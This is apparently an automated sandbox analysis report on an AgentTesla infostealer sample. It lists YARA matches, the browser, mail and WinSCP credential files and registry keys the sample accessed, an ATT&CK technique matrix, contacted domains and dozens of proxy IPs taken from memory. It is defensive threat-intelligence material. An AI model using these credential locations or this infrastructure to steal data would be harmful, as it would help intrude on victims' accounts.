Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a408fd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2959651140.000000000333E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2959651140.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2295238294.00000119A408F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2959651140.0000000003369000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2295238294.00000119A51F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2951796876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: n1KVzXM8Wk.exe PID: 6812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 20140, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a408fd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2959651140.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2295238294.00000119A408F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2295238294.00000119A51F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2951796876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: n1KVzXM8Wk.exe PID: 6812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 20140, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n1KVzXM8Wk.exe.119a408fd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2959651140.000000000333E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2959651140.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2295238294.00000119A408F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2959651140.0000000003369000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2295238294.00000119A51F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2951796876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: n1KVzXM8Wk.exe PID: 6812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 20140, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	211 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	1 Timestomp	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	211 Security Software Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
n1KVzXM8Wk.exe	21%	ReversingLabs	Win64.Trojan.Generic
n1KVzXM8Wk.exe	24%	Virustotal		Browse
n1KVzXM8Wk.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
bananasnevis.com	0%	Virustotal	Browse
ktxcomay.com.vn	0%	Virustotal	Browse
heygirlisheeverythingyouwantedinaman.com	21%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	0%	URL Reputation	safe
http://183.89.45.167:8080://proxy	0%	Avira URL Cloud	safe
http://178.33.163.156:42380://proxy	0%	Avira URL Cloud	safe
http://170.210.121.190:8080://proxy	0%	Avira URL Cloud	safe
http://167.99.219.173:8118://proxy	0%	Virustotal		Browse
http://183.89.45.167:8080://proxy	0%	Virustotal		Browse
http://167.99.219.173:8118://proxy	0%	Avira URL Cloud	safe
http://170.210.121.190:8080://proxy	2%	Virustotal		Browse
http://176.113.73.99:3128	0%	Avira URL Cloud	safe
http://104.21.6.88:80	0%	Avira URL Cloud	safe
http://38.242.136.254:1970	0%	Avira URL Cloud	safe
http://64.124.191.98:32688	0%	Avira URL Cloud	safe
http://38.242.136.254:1970	3%	Virustotal		Browse
http://127.0.0.7:80	0%	Avira URL Cloud	safe
http://38.7.1.233:999	0%	Avira URL Cloud	safe
http://188.164.193.178:30744	0%	Avira URL Cloud	safe
http://178.33.163.156:42380://proxy	2%	Virustotal		Browse
http://102.36.127.249:1080://proxy	0%	Avira URL Cloud	safe
http://127.0.0.7:80	0%	Virustotal		Browse
http://172.67.255.224://proxy	0%	Avira URL Cloud	safe
http://178.212.48.80:8080	0%	Avira URL Cloud	safe
http://102.36.127.249:1080://proxy	0%	Virustotal		Browse
http://72.10.160.90:3913	0%	Avira URL Cloud	safe
http://103.146.196.97:32650	0%	Avira URL Cloud	safe
http://72.10.160.90:3913	1%	Virustotal		Browse
http://104.21.6.88:80	0%	Virustotal		Browse
http://188.164.193.178:30744	11%	Virustotal		Browse
http://123.59.100.243:1080://proxy	0%	Avira URL Cloud	safe
http://38.7.1.233:999	0%	Virustotal		Browse
http://64.124.191.98:32688	2%	Virustotal		Browse
http://103.146.196.97:32650	1%	Virustotal		Browse
http://41.65.251.85:1981://proxy	0%	Avira URL Cloud	safe
http://178.212.48.80:8080	2%	Virustotal		Browse
http://107.180.95.177:63951://proxy	0%	Avira URL Cloud	safe
http://161.97.173.42:37862	0%	Avira URL Cloud	safe
http://195.30.84.211:34090://proxy	0%	Avira URL Cloud	safe
http://176.113.73.99:3128	1%	Virustotal		Browse
http://46.101.19.131://proxy	0%	Avira URL Cloud	safe
http://103.28.121.58:3128://proxy	0%	Avira URL Cloud	safe
http://41.65.251.85:1981://proxy	1%	Virustotal		Browse
http://123.59.100.243:1080://proxy	3%	Virustotal		Browse
http://161.97.173.42:37862	4%	Virustotal		Browse
http://58.182.138.139://proxy	0%	Avira URL Cloud	safe
http://184.178.172.25:15291	0%	Avira URL Cloud	safe
http://103.28.121.58:3128://proxy	2%	Virustotal		Browse
http://50.169.135.10:80	0%	Avira URL Cloud	safe
http://8.213.129.20:3128://proxy	0%	Avira URL Cloud	safe
http://185.161.186.82:54321://proxy	0%	Avira URL Cloud	safe
http://200.108.234.105:8080://proxy	0%	Avira URL Cloud	safe
http://195.30.84.211:34090://proxy	2%	Virustotal		Browse
http://68.183.232.4:3128	0%	Avira URL Cloud	safe
http://107.180.95.177:63951://proxy	3%	Virustotal		Browse
http://178.49.14.57:3128://proxy	0%	Avira URL Cloud	safe
http://192.140.42.83:31511	100%	Avira URL Cloud	malware
http://67.43.227.227:1119	0%	Avira URL Cloud	safe
http://41.174.152.29:12391	0%	Avira URL Cloud	safe
http://190.14.215.130:8080://proxy	0%	Avira URL Cloud	safe
http://72.10.164.178:4893	0%	Avira URL Cloud	safe
http://36.92.111.49:52471://proxy	0%	Avira URL Cloud	safe
http://203.128.77.213:33378	0%	Avira URL Cloud	safe
http://67.43.227.228:5769	0%	Avira URL Cloud	safe
http://45.117.179.179:33164	0%	Avira URL Cloud	safe
http://154.12.253.232:25158	0%	Avira URL Cloud	safe
http://102.216.69.176:8080://proxy	0%	Avira URL Cloud	safe
http://154.202.124.75:3128	0%	Avira URL Cloud	safe
http://150.230.207.167:80	0%	Avira URL Cloud	safe
http://192.169.244.80:41568://proxy	0%	Avira URL Cloud	safe
http://173.225.192.5:1080	0%	Avira URL Cloud	safe
http://202.159.60.113:443	0%	Avira URL Cloud	safe
http://104.165.127.198:3128://proxy	0%	Avira URL Cloud	safe
http://54.38.179.203:35032	0%	Avira URL Cloud	safe
http://178.79.165.164:55014	0%	Avira URL Cloud	safe
http://91.134.140.160:27207://proxy	0%	Avira URL Cloud	safe
http://190.242.126.170:999	0%	Avira URL Cloud	safe
http://72.10.160.170:5385://proxy	0%	Avira URL Cloud	safe
http://78.40.104.5:1080	0%	Avira URL Cloud	safe
http://190.120.254.233:999	0%	Avira URL Cloud	safe
http://117.54.114.101://proxy	0%	Avira URL Cloud	safe
http://202.12.80.11:83	0%	Avira URL Cloud	safe
http://115.127.114.209:5020://proxy	0%	Avira URL Cloud	safe
http://203.110.145.82:63128	0%	Avira URL Cloud	safe
http://149.28.141.180:65201	0%	Avira URL Cloud	safe
http://149.202.172.113	0%	Avira URL Cloud	safe
http://67.43.236.20:32703	0%	Avira URL Cloud	safe
http://103.113.71.230:1080	0%	Avira URL Cloud	safe
http://162.214.163.137:7070://proxy	0%	Avira URL Cloud	safe
http://188.166.252.135:8080://proxy	0%	Avira URL Cloud	safe
http://51.210.45.148:3865	0%	Avira URL Cloud	safe
http://13.234.24.116:3128	0%	Avira URL Cloud	safe
http://46.21.153.16:3128://proxy	0%	Avira URL Cloud	safe
http://123.13.218.68:9002	0%	Avira URL Cloud	safe
http://31.43.52.176:41890://proxy	0%	Avira URL Cloud	safe
http://103.216.51.36:32650	0%	Avira URL Cloud	safe
http://149.126.101.162:8080://proxy	0%	Avira URL Cloud	safe
http://179.57.172.172:999	0%	Avira URL Cloud	safe
http://198.12.253.117:32229	0%	Avira URL Cloud	safe
http://202.6.233.59:7878://proxy	0%	Avira URL Cloud	safe
http://5.42.81.57:34448://proxy	0%	Avira URL Cloud	safe
http://184.178.172.14:4145://proxy	0%	Avira URL Cloud	safe
http://201.158.10.64:5678	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bananasnevis.com	64.202.191.120	true	false	0%, Virustotal, Browse	unknown
ktxcomay.com.vn	222.255.238.159	true	false	0%, Virustotal, Browse	unknown
github.com	140.82.114.3	true	false		high
repository.gij.edu.gh	102.223.20.217	true	false		unknown
heygirlisheeverythingyouwantedinaman.com	172.67.190.93	true	false	21%, Virustotal, Browse	unknown
mail.bananasnevis.com	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://178.33.163.156:42380://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	low
http://38.242.136.254:1970	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A4A6000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://170.210.121.190:8080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994399000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	low
http://183.89.45.167:8080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119966B9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	low
http://167.99.219.173:8118://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A947000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	low
http://176.113.73.99:3128	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993EE7000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.21.6.88:80	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995457000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://64.124.191.98:32688	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995019000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199523F000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.7:80	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AA4C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://188.164.193.178:30744	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://38.7.1.233:999	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AA9D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://102.36.127.249:1080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	low
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://172.67.255.224://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://178.212.48.80:8080	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999E8E000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A760000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://72.10.160.90:3913	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199686E000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://103.146.196.97:32650	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://123.59.100.243:1080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	low
http://41.65.251.85:1981://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999493000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	low
http://107.180.95.177:63951://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A02E000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	low
http://161.97.173.42:37862	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A947000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://195.30.84.211:34090://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	low
http://46.101.19.131://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199491A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.28.121.58:3128://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	low
http://58.182.138.139://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199496B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://184.178.172.25:15291	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.169.135.10:80	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.213.129.20:3128://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119985A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://200.108.234.105:8080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://185.161.186.82:54321://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://178.49.14.57:3128://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://68.183.232.4:3128	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995457000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.140.42.83:31511	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://41.174.152.29:12391	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119997D8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://67.43.227.227:1119	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://190.14.215.130:8080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://36.92.111.49:52471://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.164.178:4893	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994480000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A760000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://203.128.77.213:33378	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://67.43.227.228:5769	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119942A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.117.179.179:33164	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994A69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://154.12.253.232:25158	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995AEF000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995C92000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://102.216.69.176:8080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://154.202.124.75:3128	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994DB5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://150.230.207.167:80	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999A4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.169.244.80:41568://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://173.225.192.5:1080	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://202.159.60.113:443	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.165.127.198:3128://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996980000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://54.38.179.203:35032	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://178.79.165.164:55014	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199447A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.134.140.160:27207://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994B82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://190.242.126.170:999	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.10.160.170:5385://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://78.40.104.5:1080	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994246000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://190.120.254.233:999	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119942A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://117.54.114.101://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://202.12.80.11:83	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996AD0000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996DB7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://115.127.114.209:5020://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://203.110.145.82:63128	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199496B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.202.172.113	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.28.141.180:65201	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994A6C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.113.71.230:1080	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://67.43.236.20:32703	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199537B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.214.163.137:7070://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://188.166.252.135:8080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199404A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.210.45.148:3865	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994EAA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://13.234.24.116:3128	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994016000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.21.153.16:3128://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
